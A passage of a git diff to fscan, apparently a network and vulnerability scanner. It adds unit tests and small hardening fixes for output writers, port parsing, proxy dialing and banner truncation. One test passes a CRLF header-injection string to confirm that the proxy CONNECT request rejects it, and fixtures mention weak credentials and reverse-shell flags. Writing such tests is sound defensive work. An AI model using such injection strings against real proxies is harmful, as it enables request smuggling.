roundTripFunc(func(*http.Request) (*http.Response, error) { + t.Fatal("transport should not be called when packet limit is reached") + return nil, nil + })} + req, err := http.NewRequestWithContext(context.Background(), http.MethodGet, "http://example.com", nil) + if err != nil { + t.Fatal(err) + } + + if resp, err := SafeHTTPDo(client, req); err == nil || resp != nil { + t.Fatalf("SafeHTTPDo = resp %#v err %v, want limit error", resp, err) + } +} diff --git a/common/output/stdout_writer_test.go b/common/output/stdout_writer_test.go index 0c73531..88b3055 100644 --- a/common/output/stdout_writer_test.go +++ b/common/output/stdout_writer_test.go @@ -1,6 +1,11 @@ package output -import "testing" +import ( + "bufio" + "bytes" + "encoding/json" + "testing" +) func TestSplitHostPort(t *testing.T) { tests := []struct { @@ -33,3 +38,85 @@ func TestSplitHostPort(t *testing.T) { }) } } + +func TestNewStdoutNDJSONWriter(t *testing.T) { + writer := NewStdoutNDJSONWriter() + if writer == nil || writer.writer == nil { + t.Fatalf("NewStdoutNDJSONWriter = %#v, want initialized writer", writer) + } + if err := writer.Close(); err != nil { + t.Fatalf("Close error = %v", err) + } +} + +func TestStdoutNDJSONWriterWriteResult(t *testing.T) { + var buf bytes.Buffer + writer := &StdoutNDJSONWriter{writer: bufio.NewWriter(&buf)} + + result := &ScanResult{ + Type: TypeService, + Target: "[2001:db8::1]:8443", + Status: "OPEN", + Details: map[string]interface{}{ + "port": float64(9443), + "service": "https", + "protocol": "tcp", + "banner": 123, + "title": "admin", + "url": "https://[2001:db8::1]:8443", + "vulnerability": "weak credential", + "username": "admin", + "password": "secret", + "plugin": "webtitle", + "version": "1.2.3", + "os": "linux", + }, + } + + if err := writer.WriteResult(result); err != nil { + t.Fatalf("WriteResult error = %v", err) + } + if err := writer.Close(); err != nil { + t.Fatalf("Close error = %v", err) + } + + var rec ndjsonRecord + if err := json.Unmarshal(bytes.TrimSpace(buf.Bytes()), &rec); err != nil { + t.Fatalf("invalid ndjson output %q: %v", buf.String(), err) + } + if rec.Host != "2001:db8::1" || rec.Port != 9443 { + t.Fatalf("host/port = %q/%d", rec.Host, rec.Port) + } + if rec.Service != "https" || rec.Protocol != "tcp" || rec.Banner != "123" || rec.Title != "admin" { + t.Fatalf("flattened fields missing: %#v", rec) + } + if rec.URL != "https://[2001:db8::1]:8443" || rec.Vulnerability != "weak credential" { + t.Fatalf("url/vuln fields missing: %#v", rec) + } + if rec.Username != "admin" || rec.Password != "secret" || rec.Plugin != "webtitle" || rec.Version != "1.2.3" || rec.OS != "linux" { + t.Fatalf("credential/plugin fields missing: %#v", rec) + } +} + +func TestStdoutNDJSONFlattenFallbacks(t *testing.T) { + writer := &StdoutNDJSONWriter{writer: bufio.NewWriter(&bytes.Buffer{})} + + rec := writer.flatten(&ScanResult{ + Type: TypeHost, + Target: "2001:db8::1", + Status: "ALIVE", + Details: map[string]interface{}{ + "port": int64(22), + }, + }) + if rec.Host != "2001:db8::1" || rec.Port != 22 { + t.Fatalf("flatten fallback = %#v", rec) + } + + if got, ok := toInt("22"); ok || got != 0 { + t.Fatalf("toInt string = %d/%v, want 0/false", got, ok) + } + if got := strVal(map[string]interface{}{}, "missing"); got != "" { + t.Fatalf("missing strVal = %q, want empty", got) + } +} diff --git a/common/output/writers.go b/common/output/writers.go index 973e12e..114e607 100644 --- a/common/output/writers.go +++ b/common/output/writers.go @@ -38,6 +38,19 @@ func escapeControlChars(s string) string { return b.String() } +func truncateString(s string, maxRunes int) string { + if maxRunes < 0 { + return s + } + for i := range s { + if maxRunes == 0 { + return s[:i] + "..." + } + maxRunes-- + } + return s +} + func targetWithPort(target string, port interface{}) string { if port == nil { return target @@ -196,10 +209,8 @@ func (w *TXTWriter) formatServiceLine(result *ScanResult) string { parts = append(parts, service) } if banner != "" { - if len(banner) > 100 { - banner = banner[:100] + "..." - } banner = escapeControlChars(banner) + banner = truncateString(banner, 100) parts = append(parts, banner) } return strings.Join(parts, " ") @@ -745,9 +756,7 @@ func (w *CSVWriter) formatServiceRecord(result *ScanResult) []string { fingerprints = formatFingerprints(result.Details["fingerprints"]) if b, ok := result.Details["banner"].(string); ok { banner = escapeControlChars(b) - if len(banner) > 100 { - banner = banner[:100] + "..." - } + banner = truncateString(banner, 100) } } target := result.Target diff --git a/common/output/writers_test.go b/common/output/writers_test.go index c9fdedf..e673385 100644 --- a/common/output/writers_test.go +++ b/common/output/writers_test.go @@ -9,6 +9,7 @@ import ( "sync" "testing" "time" + "unicode/utf8" ) /* @@ -82,6 +83,94 @@ func TestTargetWithPortIPv6(t *testing.T) { } } +func TestScanResultFormatDetailsAndDefaultManagerConfig(t *testing.T) { + result := &ScanResult{ + Details: map[string]interface{}{ + "service": "ssh", + "port": 22, + "banner": "OpenSSH", + }, + } + got := result.FormatDetails(";", "%s=%v") + want := "banner=OpenSSH;port=22;service=ssh" + if got != want { + t.Fatalf("FormatDetails = %q, want %q", got, want) + } + + empty := (&ScanResult{}).FormatDetails(";", "%s=%v") + if empty != "" { + t.Fatalf("empty FormatDetails = %q, want empty", empty) + } + + cfg := DefaultManagerConfig("out.json", FormatJSON) + if cfg.OutputPath != "out.json" || cfg.Format != FormatJSON { + t.Fatalf("DefaultManagerConfig = %#v", cfg) + } +} + +func TestCSVWriterFormatRecords(t *testing.T) { + writer := &CSVWriter{} + + host := writer.formatHostRecord(&ScanResult{Target: "192.168.1.1"}) + if len(host) != 1 || host[0] != "192.168.1.1" { + t.Fatalf("host record = %#v", host) + } + + port := writer.formatPortRecord(&ScanResult{ + Target: "192.168.1.1", + Details: map[string]interface{}{"port": 22}, + }) + if got, want := strings.Join(port, "|"), "192.168.1.1|22|open"; got != want { + t.Fatalf("port record = %q, want %q", got, want) + } + + longBanner := strings.Repeat("界", 105) + service := writer.formatServiceRecord(&ScanResult{ + Target: "2001:db8::1", + Details: map[string]interface{}{ + "port": 443, + "name": "https", + "version": "1.2.3", + "title": "hello\nworld", + "status": 200, + "server": "nginx\r\nunit", + "fingerprints": []interface{}{"fp1", "", "fp2", 3}, + "banner": longBanner, + }, + }) + if service[0] != "[2001:db8::1]:443" || service[1] != "https" || service[2] != "1.2.3" { + t.Fatalf("service identity fields = %#v", service) + } + if service[3] != "hello\\nworld" || service[4] != "200" || service[5] != "nginx\\r\\nunit" { + t.Fatalf("service text fields = %#v", service) + } + if service[6] != "fp1,fp2" { + t.Fatalf("fingerprints = %q, want fp1,fp2", service[6]) + } + if !utf8.ValidString(service[7]) || len([]rune(service[7])) != 103 || !strings.HasSuffix(service[7], "...") { + t.Fatalf("truncated banner = len %d value %q", len(service[7]), service[7]) + } + + vuln := writer.formatVulnRecord(&ScanResult{ + Target: "http://example.com", + Status: "vulnerable", + Details: map[string]interface{}{"type": "poc"}, + }) + if got, want := strings.Join(vuln, "|"), "http://example.com|poc|vulnerable"; got != want { + t.Fatalf("vuln record = %q, want %q", got, want) + } + + if got := formatFingerprints([]string{"a", "b"}); got != "a,b" { + t.Fatalf("string fingerprints = %q", got) + } + if got := formatFingerprints(123); got != "" { + t.Fatalf("unsupported fingerprints = %q, want empty", got) + } + if writer.GetFormat() != FormatCSV { + t.Fatalf("csv GetFormat = %q", writer.GetFormat()) + } +} + // ============================================================================= // TXTWriter - 基础功能测试 // ============================================================================= diff --git a/common/output_api_test.go b/common/output_api_test.go new file mode 100644 index 0000000..6c2a574 --- /dev/null +++ b/common/output_api_test.go @@ -0,0 +1,153 @@ +package common + +import ( + "os" + "path/filepath" + "strings" + "testing" + "time" + + "github.com/shadow1ng/fscan/common/output" +) + +func readTestFile(t *testing.T, path string) string { + t.Helper() + + content, err := os.ReadFile(path) + if err != nil { + t.Fatalf("read %s: %v", path, err) + } + return string(content) +} + +func preserveOutputAPIGlobals(t *testing.T) { + t.Helper() + + globalMu.RLock() + oldConfig := globalConfig + oldState := globalState + globalMu.RUnlock() + + oldFlagVars := flagVars + oldResultOutput := ResultOutput + oldStdoutWriter := StdoutWriter + + t.Cleanup(func() { + if ResultOutput != nil && ResultOutput != oldResultOutput { + _ = ResultOutput.Close() + } + if StdoutWriter != nil && StdoutWriter != oldStdoutWriter { + _ = StdoutWriter.Close() + } + ClearResultCallback() + + globalMu.Lock() + globalConfig = oldConfig + globalState = oldState + globalMu.Unlock() + + flagVars = oldFlagVars + ResultOutput = oldResultOutput + StdoutWriter = oldStdoutWriter + }) + + ClearResultCallback() + flagVars = &FlagVars{} + ResultOutput = nil + StdoutWriter = nil + SetGlobalConfig(NewConfig()) + SetGlobalState(NewState()) +} + +func TestInitOutputValidationAndDefaultExtension(t *testing.T) { + preserveOutputAPIGlobals(t) + + flagVars = &FlagVars{DisableSave: true} + if err := InitOutput(); err != nil { + t.Fatalf("InitOutput disable save error = %v", err) + } + if ResultOutput != nil { + t.Fatalf("ResultOutput = %#v, want nil when save is disabled", ResultOutput) + } + + flagVars = &FlagVars{OutputFormat: "txt"} + if err := InitOutput(); err == nil || !strings.Contains(err.Error(), "output file not specified") { + t.Fatalf("missing output error = %v", err) + } + + flagVars = &FlagVars{Outputfile: "out.bad", OutputFormat: "xml"} + if err := InitOutput(); err == nil || !strings.Contains(err.Error(), "invalid output format") { + t.Fatalf("invalid format error = %v", err) + } + + dir := t.TempDir() + t.Chdir(dir) + flagVars = &FlagVars{Outputfile: "result.txt", OutputFormat: "json"} + if err := InitOutput(); err != nil { + t.Fatalf("InitOutput json error = %v", err) + } + if ResultOutput == nil { + t.Fatal("ResultOutput should be initialized") + } + if err := SaveResult(&output.ScanResult{ + Time: time.Date(2026, 6, 13, 1, 2, 3, 0, time.UTC), + Type: output.TypeHost, + Target: "127.0.0.1", + Status: "ALIVE", + }); err != nil { + t.Fatalf("SaveResult json error = %v", err) + } + if err := CloseOutput(); err != nil { + t.Fatalf("CloseOutput error = %v", err) + } + if content := readTestFile(t, filepath.Join(dir, "result.json")); !strings.Contains(content, "127.0.0.1") { + t.Fatalf("result.json content = %q, want saved target", content) + } +} + +func TestSaveResultFacadeCallbackAndDisabledSave(t *testing.T) { + preserveOutputAPIGlobals(t) + + cfg := NewConfig() + cfg.Output.DisableSave = true + SetGlobalConfig(cfg) + + flagVars = &FlagVars{DisableSave: true} + if err := InitOutput(); err != nil { + t.Fatalf("InitOutput disable save error = %v", err) + } + + called := false + SetResultCallback(func(payload interface{}) { + called = true + data, ok := payload.(map[string]interface{}) + if !ok { + t.Fatalf("callback payload type = %T", payload) + } + if data["type"] != string(output.TypeVuln) || data["target"] != "http://example.com" { + t.Fatalf("callback payload = %#v", data) + } + }) + + if err := SaveResult(nil); err != nil { + t.Fatalf("SaveResult nil error = %v", err) + } + if called { + t.Fatal("nil result should not notify callback") + } + + if err := SaveResult(&output.ScanResult{ + Type: output.TypeVuln, + Target: "http://example.com", + Status: "vulnerable", + Details: map[string]interface{}{"type": "poc"}, + }); err != nil { + t.Fatalf("SaveResult disabled save error = %v", err) + } + if !called { + t.Fatal("callback was not notified") + } + if err := CloseOutput(); err != nil { + t.Fatalf("CloseOutput disabled save error = %v", err) + } +} diff --git a/common/parsers/host_iterator_test.go b/common/parsers/host_iterator_test.go index c2c0f9b..6a0732d 100644 --- a/common/parsers/host_iterator_test.go +++ b/common/parsers/host_iterator_test.go @@ -2,6 +2,7 @@ package parsers import ( "context" + "errors" "os" "reflect" "strings" @@ -103,3 +104,65 @@ func TestHostIteratorReadsLongHostFileLine(t *testing.T) { t.Fatalf("batch = %#v, want long host", batch) } } + +func TestMultiHostSourceAndMatcherCIDR(t *testing.T) { + src := &multiHostSource{sources: []hostSource{ + &singleHostSource{host: "192.168.1.1"}, + &singleHostSource{host: "192.168.1.2"}, + }} + + host, ok, err := src.Next() + if err != nil || !ok || host != "192.168.1.1" { + t.Fatalf("first Next = %q/%v/%v", host, ok, err) + } + host, ok, err = src.Next() + if err != nil || !ok || host != "192.168.1.2" { + t.Fatalf("second Next = %q/%v/%v", host, ok, err) + } + host, ok, err = src.Next() + if err != nil || ok || host != "" { + t.Fatalf("exhausted Next = %q/%v/%v", host, ok, err) + } + if err := src.Close(); err != nil { + t.Fatalf("Close error = %v", err) + } + + matcher := newHostMatcher() + if err := matcher.add("192.168.1.0/30,example.com"); err != nil { + t.Fatalf("matcher add error = %v", err) + } + if !matcher.match("192.168.1.1") || !matcher.match("192.168.1.2") || !matcher.match("example.com") { + t.Fatal("matcher should match CIDR hosts and exact host") + } + if matcher.match("192.168.1.3") || matcher.match("nope.example") { + t.Fatal("matcher matched hosts outside its rules") + } + if err := matcher.add("2001:db8::/126"); err == nil { + t.Fatal("IPv6 CIDR should be rejected by IPv4-only matcher") + } +} + +func TestCloseHostSourcesIgnoresCloseErrors(t *testing.T) { + first := &closeTrackingSource{err: errors.New("close failed")} + second := &closeTrackingSource{} + + closeHostSources([]hostSource{first, second}) + + if !first.closed || !second.closed { + t.Fatalf("sources closed = %v/%v, want both true", first.closed, second.closed) + } +} + +type closeTrackingSource struct { + closed bool + err error +} + +func (s *closeTrackingSource) Next() (string, bool, error) { + return "", false, nil +} + +func (s *closeTrackingSource) Close() error { + s.closed = true + return s.err +} diff --git a/common/parsers/parse_test.go b/common/parsers/parse_test.go index 03aacea..8127c92 100644 --- a/common/parsers/parse_test.go +++ b/common/parsers/parse_test.go @@ -386,6 +386,15 @@ func TestParsePort_PortGroups(t *testing.T) { } } +func TestParsePortGroupsRequireWholeToken(t *testing.T) { + if got := ParsePort("web8080"); len(got) != 0 { + t.Fatalf("ParsePort(web8080) = %v, want empty invalid token", got) + } + if got := ParsePort("web,8080"); len(got) == 0 || got[len(got)-1] != 28018 { + t.Fatalf("ParsePort(web,8080) = %v, want expanded web group", got) + } +} + // TestParsePort_WhitespaceHandling 测试空格处理 func TestParsePort_WhitespaceHandling(t *testing.T) { tests := []struct { diff --git a/common/parsers/parsers.go b/common/parsers/parsers.go index dd7b8b8..dca29eb 100644 --- a/common/parsers/parsers.go +++ b/common/parsers/parsers.go @@ -200,11 +200,14 @@ func parsePortRange(rangeStr string) []int { // expandPortGroups 展开端口组 func expandPortGroups(ports string) string { portGroups := config.GetPortGroups() - result := ports - for group, portList := range portGroups { - result = strings.ReplaceAll(result, group, portList) + parts := strings.Split(ports, ",") + for i, part := range parts { + token := strings.TrimSpace(part) + if portList, ok := portGroups[token]; ok { + parts[i] = portList + } } - return result + return strings.Join(parts, ",") } // ============================================================================= diff --git a/common/progress_manager_test.go b/common/progress_manager_test.go new file mode 100644 index 0000000..e859130 --- /dev/null +++ b/common/progress_manager_test.go @@ -0,0 +1,102 @@ +package common + +import ( + "strings" + "testing" + "time" +) + +func TestProgressTextHelpers(t *testing.T) { + tests := []struct { + name string + in string + want int + }{ + {name: "ascii", in: "abc", want: 3}, + {name: "cjk", in: "中文", want: 4}, + {name: "mixed", in: "a中", want: 3}, + {name: "symbol", in: "★", want: 2}, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + if got := displayWidth(tt.in); got != tt.want { + t.Fatalf("displayWidth(%q) = %d, want %d", tt.in, got, tt.want) + } + }) + } + + truncateTests := []struct { + name string + in string + width int + want string + }{ + {name: "exact mixed width", in: "abc中文", width: 5, want: "abc中"}, + {name: "wide char does not fit", in: "中文", width: 1, want: ""}, + {name: "zero width", in: "abc", width: 0, want: ""}, + {name: "negative width", in: "abc", width: -1, want: ""}, + } + for _, tt := range truncateTests { + t.Run(tt.name, func(t *testing.T) { + if got := truncateToWidth(tt.in, tt.width); got != tt.want { + t.Fatalf("truncateToWidth(%q, %d) = %q, want %q", tt.in, tt.width, got, tt.want) + } + }) + } + + if got := stripAnsiCodes("\033[31mred\033[0m plain"); got != "red plain" { + t.Fatalf("stripAnsiCodes removed ANSI = %q, want %q", got, "red plain") + } + if got := stripAnsiCodes("plain"); got != "plain" { + t.Fatalf("stripAnsiCodes plain = %q, want plain", got) + } +} + +func TestFormatDuration(t *testing.T) { + tests := []struct { + name string + in time.Duration + want string + }{ + {name: "seconds", in: 1500 * time.Millisecond, want: "1.5s"}, + {name: "minutes", in: 90 * time.Second, want: "1.5m"}, + {name: "hours", in: 150 * time.Minute, want: "2.5h"}, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + if got := formatDuration(tt.in); got != tt.want { + t.Fatalf("formatDuration(%s) = %q, want %q", tt.in, got, tt.want) + } + }) + } +} + +func TestConcurrencyMonitorTaskStats(t *testing.T) { + monitor := &ConcurrencyMonitor{} + + if status := monitor.GetConcurrencyStatus(); status != "" { + t.Fatalf("initial status = %q, want empty", status) + } + + monitor.StartPluginTask() + monitor.StartPluginTask() + + active, total := monitor.GetPluginTaskStats() + if active != 2 || total != 2 { + t.Fatalf("stats after start = active %d total %d, want 2/2", active, total) + } + if status := monitor.GetConcurrencyStatus(); !strings.HasSuffix(status, ":2") { + t.Fatalf("status after start = %q, want suffix :2", status) + } + + monitor.FinishPluginTask() + active, total = monitor.GetPluginTaskStats() + if active != 1 || total != 2 { + t.Fatalf("stats after one finish = active %d total %d, want 1/2", active, total) + } + + monitor.FinishPluginTask() + if status := monitor.GetConcurrencyStatus(); status != "" { + t.Fatalf("status after all finish = %q, want empty", status) + } +} diff --git a/common/proxy/httpdialer.go b/common/proxy/httpdialer.go index 6ac91ed..f11fd58 100644 --- a/common/proxy/httpdialer.go +++ b/common/proxy/httpdialer.go @@ -7,6 +7,7 @@ import ( "fmt" "net" "net/http" + "strings" "time" ) @@ -54,6 +55,9 @@ func (h *httpDialer) DialContext(ctx context.Context, network, address string) ( // sendConnectRequest 发送HTTP CONNECT请求 func (h *httpDialer) sendConnectRequest(conn net.Conn, address string) error { + if strings.ContainsAny(address, "\r\n") { + return NewProxyError(ErrTypeProtocol, "invalid CONNECT target", ErrCodeHTTPReadRespFailed, nil) + } // 构建CONNECT请求 req := fmt.Sprintf(HTTPConnectRequestFormat, address, address) diff --git a/common/proxy/httpdialer_test.go b/common/proxy/httpdialer_test.go new file mode 100644 index 0000000..da3b3ac --- /dev/null +++ b/common/proxy/httpdialer_test.go @@ -0,0 +1,23 @@ +package proxy + +import ( + "net" + "testing" + "time" +) + +func TestHTTPDialerRejectsConnectTargetWithLineBreak(t *testing.T) { + client, server := net.Pipe() + defer client.Close() + defer server.Close() + + dialer := &httpDialer{ + config: &ProxyConfig{Timeout: time.Second}, + stats: &ProxyStats{}, + } + + err := dialer.sendConnectRequest(client, "example.com:80\r\nX-Injected: yes") + if err == nil { + t.Fatal("sendConnectRequest() error = nil, want invalid target error") + } +} diff --git a/common/runtime_api_test.go b/common/runtime_api_test.go new file mode 100644 index 0000000..11a605b --- /dev/null +++ b/common/runtime_api_test.go @@ -0,0 +1,62 @@ +package common + +import "testing" + +func TestResultCallbackLifecycle(t *testing.T) { + ClearResultCallback() + t.Cleanup(ClearResultCallback) + + called := false + SetResultCallback(func(result interface{}) { + called = true + if result != "payload" { + t.Fatalf("callback payload = %#v", result) + } + }) + + NotifyResult("payload") + if !called { + t.Fatal("callback was not called") + } + + called = false + ClearResultCallback() + NotifyResult("payload") + if called { + t.Fatal("callback should not be called after ClearResultCallback") + } +} + +func TestStateRuntimeTargetsAndShellFlags(t *testing.T) { + state := NewState() + + urls := []string{"http://example.com", "https://example.org"} + state.SetURLs(urls) + if got := state.GetURLs(); len(got) != 2 || got[0] != urls[0] || got[1] != urls[1] { + t.Fatalf("urls = %#v", got) + } + + hostPorts := []string{"127.0.0.1:80", "[::1]:443"} + state.SetHostPorts(hostPorts) + if got := state.GetHostPorts(); len(got) != 2 || got[0] != hostPorts[0] || got[1] != hostPorts[1] { + t.Fatalf("hostPorts = %#v", got) + } + state.ClearHostPorts() + if got := state.GetHostPorts(); got != nil { + t.Fatalf("hostPorts after clear = %#v, want nil", got) + } + + state.SetForwardShellActive(true) + state.SetReverseShellActive(true) + state.SetSocks5ProxyActive(true) + if !state.IsForwardShellActive() || !state.IsReverseShellActive() || !state.IsSocks5ProxyActive() { + t.Fatal("shell/proxy flags should be active") + } + + state.SetForwardShellActive(false) + state.SetReverseShellActive(false) + state.SetSocks5ProxyActive(false) + if state.IsForwardShellActive() || state.IsReverseShellActive() || state.IsSocks5ProxyActive() { + t.Fatal("shell/proxy flags should be inactive") + } +} diff --git a/core/base_scan_strategy_test.go b/core/base_scan_strategy_test.go index b54d110..132d36f 100644 --- a/core/base_scan_strategy_test.go +++ b/core/base_scan_strategy_test.go @@ -2,6 +2,9 @@ package core import ( "testing" + + "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/plugins" ) // ============================================================================= @@ -272,6 +275,102 @@ func TestOrderWebPlugins(t *testing.T) { } } +func TestBaseScanStrategyPluginSelectionAndApplicability(t *testing.T) { + registerTestPlugins(t) + plugins.RegisterWithOptions("core_test_local", func() plugins.Plugin { return nil }, nil, []string{plugins.PluginTypeLocal}, false) + plugins.RegisterWithOptions("core_test_udp", func() plugins.Plugin { return nil }, []int{161}, []string{plugins.PluginTypeUDP}, true) + clearServiceCache() + + cfg := common.NewConfig() + cfg.Mode = "ssh, missing_plugin, webtitle" + strategy := NewBaseScanStrategy("service", FilterService) + got, custom := strategy.GetPlugins(cfg) + if !custom { + t.Fatal("explicit mode should be marked as custom") + } + if !slicesEqual(got, []string{"ssh", "webtitle"}) { + t.Fatalf("custom plugins = %#v, want ssh/webtitle", got) + } + + cfg.Mode = "all" + servicePlugins, custom := strategy.GetPlugins(cfg) + if custom { + t.Fatal("all mode should not be custom") + } + if !containsString(servicePlugins, "ssh") || containsString(servicePlugins, "core_test_local") || containsString(servicePlugins, "core_test_udp") { + t.Fatalf("service filtered plugins = %#v", servicePlugins) + } + + if !strategy.pluginExists("ssh") || strategy.pluginExists("missing_plugin") { + t.Fatal("pluginExists returned wrong result") + } + if !strategy.isPluginApplicableToPort("ssh", 22) || strategy.isPluginApplicableToPort("ssh", 23) { + t.Fatal("port applicability for ssh is wrong") + } + CacheServiceInfo("10.0.0.9", 22222, &ServiceInfo{Name: "ssh"}) + if !strategy.isPluginApplicableToPortWithHost("ssh", "10.0.0.9", 22222) { + t.Fatal("service cache should allow ssh on a non-standard port") + } + if !strategy.IsPluginApplicableByName("ssh", "10.0.0.9", 1, true, cfg) { + t.Fatal("custom mode should respect explicitly selected plugin") + } + if strategy.IsPluginApplicableByName("missing_plugin", "10.0.0.9", 22, true, cfg) { + t.Fatal("missing plugin should never be applicable") + } +} + +func TestBaseScanStrategyFilterTypes(t *testing.T) { + plugins.RegisterWithOptions("core_test_local_filter", func() plugins.Plugin { return nil }, nil, []string{plugins.PluginTypeLocal}, false) + plugins.RegisterWithOptions("core_test_web_filter", func() plugins.Plugin { return nil }, nil, []string{plugins.PluginTypeWeb}, true) + plugins.RegisterWithOptions("core_test_udp_filter", func() plugins.Plugin { return nil }, []int{53}, []string{plugins.PluginTypeUDP}, true) + + cfg := common.NewConfig() + localStrategy := NewBaseScanStrategy("local", FilterLocal) + if localStrategy.isPluginPassesFilterType("core_test_local_filter", false, cfg) { + t.Fatal("local plugin should require explicit -local selection") + } + cfg.LocalPlugin = "core_test_local_filter" + if !localStrategy.isPluginPassesFilterType("core_test_local_filter", false, cfg) { + t.Fatal("explicit local plugin should pass local filter") + } + + serviceStrategy := NewBaseScanStrategy("service", FilterService) + if !serviceStrategy.isPluginPassesFilterType("ssh", false, cfg) { + t.Fatal("service plugin should pass service filter") + } + if serviceStrategy.isPluginPassesFilterType("core_test_local_filter", false, cfg) || + serviceStrategy.isPluginPassesFilterType("core_test_udp_filter", false, cfg) { + t.Fatal("service filter should reject local and UDP plugins") + } + + webStrategy := NewBaseScanStrategy("web", FilterWeb) + if !webStrategy.isPluginPassesFilterType("core_test_web_filter", false, cfg) || + webStrategy.isPluginPassesFilterType("ssh", false, cfg) { + t.Fatal("web filter should only allow web plugins") + } + if webPluginOrder("webtitle") != 0 || webPluginOrder("webpoc") != 2 || webPluginOrder("other") != 1 { + t.Fatal("web plugin order changed") + } +} + +func TestFormatPluginList(t *testing.T) { + if got := formatPluginList([]string{"a", "b", "c"}); got != "a, b, c" { + t.Fatalf("short plugin list = %q", got) + } + if got := formatPluginList([]string{"a", "b", "c", "d", "e", "f"}); got == "" || got == "a, b, c, d, e, f" { + t.Fatalf("long plugin list should be summarized, got %q", got) + } +} + +func containsString(values []string, want string) bool { + for _, value := range values { + if value == want { + return true + } + } + return false +} + // TestNewBaseScanStrategy 测试构造函数 func TestNewBaseScanStrategy(t *testing.T) { tests := []struct { diff --git a/core/port_scan.go b/core/port_scan.go index 882fda6..6726b04 100644 --- a/core/port_scan.go +++ b/core/port_scan.go @@ -447,15 +447,26 @@ func buildServiceLogMessage(addr string, serviceInfo *ServiceInfo, isWeb bool) s // Banner 信息 if len(serviceInfo.Banner) > 0 { banner := strings.TrimSpace(serviceInfo.Banner) - if len(banner) > 80 { - banner = banner[:80] + "..." - } + banner = truncateString(banner, 80) fmt.Fprintf(&msg, " Banner:(%s)", banner) } return msg.String() } +func truncateString(s string, maxRunes int) string { + if maxRunes < 0 { + return s + } + for i := range s { + if maxRunes == 0 { + return s[:i] + "..." + } + maxRunes-- + } + return s +} + func buildWebServiceURL(addr string, serviceInfo *ServiceInfo) string { protocol := "http" serviceName := "" diff --git a/core/port_scan_test.go b/core/port_scan_test.go index 7d8e0be..e6dd0bf 100644 --- a/core/port_scan_test.go +++ b/core/port_scan_test.go @@ -2,6 +2,8 @@ package core import ( "fmt" + "sort" + "strings" "testing" ) @@ -254,6 +256,110 @@ func TestBuildWebServiceURLIPv6(t *testing.T) { } } +func TestPortScanCollectorsAndHelpers(t *testing.T) { + t.Run("result collector deduplicates and streams", func(t *testing.T) { + stream := make(chan string, 2) + collector := newResultCollector(stream) + collector.Add("127.0.0.1:80") + collector.Add("127.0.0.1:80") + collector.Add("127.0.0.1:443") + + got := collector.GetAll() + sort.Strings(got) + expected := []string{"127.0.0.1:443", "127.0.0.1:80"} + if !stringSlicesEqual(got, expected) { + t.Fatalf("collector results = %v, want %v", got, expected) + } + + close(stream) + var streamed []string + for addr := range stream { + streamed = append(streamed, addr) + } + sort.Strings(streamed) + if !stringSlicesEqual(streamed, expected) { + t.Fatalf("streamed results = %v, want %v", streamed, expected) + } + }) + + t.Run("failed collector counts", func(t *testing.T) { + var collector failedPortCollector + collector.Add("127.0.0.1", 80, "127.0.0.1:80") + collector.Add("127.0.0.1", 443, "127.0.0.1:443") + if got := collector.Count(); got != 2 { + t.Fatalf("failed count = %d, want 2", got) + } + }) + + t.Run("proxy and closed error helpers", func(t *testing.T) { + if !isProxyErrorResponse([]byte{0x05, 0x01, 0x00, 0x01}) { + t.Fatal("SOCKS5 failure reply should be proxy error") + } + if !isProxyErrorResponse([]byte("HTTP/1.1 502 Bad Gateway\r\n\r\n")) { + t.Fatal("HTTP proxy error text should be detected") + } + if isProxyErrorResponse(nil) || isProxyErrorResponse([]byte{0x05, 0x00}) { + t.Fatal("empty or success response should not be proxy error") + } + if !isConnectionClosed(fmt.Errorf("use of closed network connection")) { + t.Fatal("closed connection error should be detected") + } + if isConnectionClosed(nil) || isConnectionClosed(fmt.Errorf("temporary timeout")) { + t.Fatal("non-closed error should not be detected") + } + }) + + t.Run("service details and subnet prefix", func(t *testing.T) { + details := buildServiceDetails(8443, &ServiceInfo{ + Name: "https", + Version: "1.2.3", + Banner: " hello \r\n", + Extras: map[string]string{ + "vendor_product": "nginx", + "os": "linux", + "info": "tls", + "empty": "", + "ignored": "value", + }, + }) + expected := map[string]interface{}{ + "port": 8443, + "service": "https", + "version": "1.2.3", + "banner": "hello", + "product": "nginx", + "os": "linux", + "info": "tls", + } + for key, want := range expected { + if got := details[key]; got != want { + t.Fatalf("details[%s] = %#v, want %#v (all=%#v)", key, got, want, details) + } + } + if _, ok := details["ignored"]; ok { + t.Fatalf("unexpected ignored extra in details: %#v", details) + } + if got := subnetPrefix("192.168.1.25"); got != "192.168.1" { + t.Fatalf("subnetPrefix IPv4 = %q", got) + } + if got := subnetPrefix("localhost"); got != "" { + t.Fatalf("subnetPrefix hostname = %q, want empty", got) + } + }) +} + +func stringSlicesEqual(a, b []string) bool { + if len(a) != len(b) { + return false + } + for i := range a { + if a[i] != b[i] { + return false + } + } + return true +} + // ============================================================================= // 排除端口逻辑测试(从EnhancedPortScan:28-32行提取) // ============================================================================= @@ -614,6 +720,17 @@ func TestBuildServiceLogMessage(t *testing.T) { } } +func TestBuildServiceLogMessageTruncatesBannerByRune(t *testing.T) { + result := buildServiceLogMessage("10.0.0.1:22", &ServiceInfo{ + Name: "ssh", + Banner: strings.Repeat("界", 85), + Extras: map[string]string{}, + }, false) + if !strings.Contains(result, strings.Repeat("界", 80)+"...") { + t.Fatalf("truncated banner is not rune-safe: %q", result) + } +} + // contains 检查字符串是否包含子串 func contains(s, substr string) bool { return len(s) >= len(substr) && (s == substr || len(substr) == 0 || diff --git a/core/portfinger/probe_parser.go b/core/portfinger/probe_parser.go index fb9bcc4..2a9d5b4 100644 --- a/core/portfinger/probe_parser.go +++ b/core/portfinger/probe_parser.go @@ -13,7 +13,7 @@ func (p *Probe) getDirectiveSyntax(data string) (directive Directive) { directive = Directive{} // 查找第一个空格的位置 blankIndex := strings.Index(data, " ") - if blankIndex == -1 { + if blankIndex == -1 || blankIndex+3 > len(data) { return directive } @@ -33,6 +33,10 @@ func (p *Probe) getDirectiveSyntax(data string) (directive Directive) { // parseProbeInfo 解析探测器信息,返回错误替代 panic func (p *Probe) parseProbeInfo(probeStr string) error { + if len(probeStr) < 5 { + return fmt.Errorf("%s", i18n.GetText("portfinger_probe_protocol_invalid")) + } + // 提取协议和其他信息 proto := probeStr[:4] other := probeStr[4:] @@ -49,6 +53,9 @@ func (p *Probe) parseProbeInfo(probeStr string) error { // 解析指令 directive := p.getDirectiveSyntax(other) + if directive.DirectiveName == "" || directive.Delimiter == "" { + return fmt.Errorf("%s", 